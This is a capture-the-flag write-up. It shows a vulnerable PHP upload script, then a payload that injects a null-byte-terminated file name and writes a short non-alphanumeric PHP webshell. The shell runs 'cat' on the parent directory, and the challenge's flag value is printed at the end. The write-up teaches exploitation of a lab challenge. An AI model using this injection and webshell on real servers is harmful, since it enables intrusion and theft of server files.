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if (empty($_GET['action'])) {

  $data = $_POST['data'];
  $name = uniqid();

  $payload = "data=$data&name=$name";
  $post = http_build_query([
    'signature' => hash_hmac('md5', $payload, FLAG),
    'payload' => $payload,

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, "" . $_SERVER['REQUEST_URI'] . "?action=log");
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

  echo curl_exec($ch);

} else {

  if (hash_hmac('md5', $_POST['payload'], FLAG) !== $_POST['signature']) {
    echo 'FAIL';

  parse_str($_POST['payload'], $payload);

  $target = 'files/' . time() . '.' . substr($payload['name'], -20);
  $contents = $payload['data'];
  $decoded = base64_decode($contents);
  $ext = 'raw';

  if (isset($payload['ext'])) {
    $ext = (
      ( $payload['ext'] == 'j' ) ? 'jpg' :
      ( $payload['ext'] == 'p' ) ? 'php' :
      ( $payload['ext'] == 'r' ) ? 'raw' : 'file'

  if ($decoded !== '') {
    $contents = $decoded;
    $target .= '.' . $ext;

  if (strlen($contents) > 37) {
    echo 'FAIL';

  file_put_contents($target, $contents);

  echo 'OK';

If we request without action parameter, it will construct post payload and send request to self(with action parameter) by curl.

The hash_hmac key is FLAG, but we don't know the content.

So we can't directly forge the signature.


The vulnerability is on $payload = "data=$data&name=$name";

We can't control $name variable, but we can use $data to control $name

Like this: set $data: xxx&name=new_name%00

The NULL byte will truncate the original name.

Now we can control the file name.

We want to write a webshell and execute it.

But if $decoded !== '', it will append extension to the filename.

So we need to find a way to set $decoded empty.

And we know that php's base64_decode() will output empty string if its input doesn't contain any valid character. (valid character include a-z, A-Z, 0-9, +, /, ...)

Our goal is writing a non valid character webshell and the length shold be less than 38.

There are some tips, we can use some arithmetic operation like XOR, NOT, AND, ... to construct the php code.

So if we set data to <?=`something`;%26name%3Dz.php%00, the $decoded will be empty and the name can be controled.

The content of the file will not be decoded, it is the original content: <?=`something`;

We can run the php script now.


data=<?=$_=~%9c%9e%8b;`$_ ../*>_`;%26name%3Dz.php%00

~%9c%9e%8b is cat

so the payload will cat everthing in ../, then write to _.

After we run the files/time().z.php, we can get the content of config.php in the files/_




define('FLAG', 'DCTF{7b39c8fcaef42b2f72d1f7d6f0686802bd9282f289f125281fd92c67572dd390}');

// added afterwards, not part of the challenge and keeps crashing apache because of a scenario
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